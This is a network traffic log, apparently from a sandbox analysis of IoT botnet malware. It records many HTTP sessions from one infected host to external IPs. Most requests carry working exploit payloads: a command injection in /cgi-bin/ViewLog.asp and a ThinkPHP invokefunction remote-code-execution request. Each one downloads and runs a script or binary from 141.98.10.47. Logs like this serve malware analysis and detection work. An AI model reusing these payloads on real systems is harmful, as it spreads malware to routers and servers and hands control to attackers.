Dec 26, 2023 21:24:26.132137060 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:51.984489918 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:41.129590988 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.23	40378	94.121.57.218	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:02.253057957 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.23	50578	31.136.107.173	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:04.817713022 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:07.958810091 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:14.101830959 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:26.132138968 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:51.984493017 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:41.129601002 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.23	33836	85.10.73.148	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:04.845504999 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:05.122304916 CET	83	IN	HTTP/1.1 404 Not Found Connection: close Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.23	37070	88.99.19.116	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.136858940 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:05.386447906 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:05 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.23	41050	112.161.243.68	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.216825008 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.23	59958	112.133.128.205	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.223628998 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:05.623574018 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Tue, 26 Dec 2023 20:24:06 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.23	53520	95.101.162.69	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.339478016 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:05.542829037 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:05 GMT Date: Tue, 26 Dec 2023 20:24:05 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 30 34 64 64 62 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 32 34 35 26 23 34 36 3b 61 35 37 37 66 64 33 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.904ddb17.1703622245.a577fd39</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.23	58266	95.100.42.28	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.366791010 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:05.596755028 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:05 GMT Date: Tue, 26 Dec 2023 20:24:05 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 33 31 64 64 35 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 32 34 35 26 23 34 36 3b 63 30 64 36 66 38 64 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.731dd517.1703622245.c0d6f8d1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.23	47294	95.110.164.216	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.390345097 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:05.645087957 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:04 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.23	59930	95.213.246.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.500999928 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:06.966912031 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:07.247421980 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Tue, 26 Dec 2023 20:24:06 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.23	50882	31.136.242.82	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.820123911 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:08.982587099 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:15.125683069 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:27.156049013 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:51.984479904 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:41.129630089 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.23	33176	94.142.235.101	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.820188046 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:06.614902973 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:06.916198969 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.23	43650	31.200.67.142	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.845632076 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.23	35444	94.120.226.5	8080

Timestamp	Bytes transferred	Direction	Data
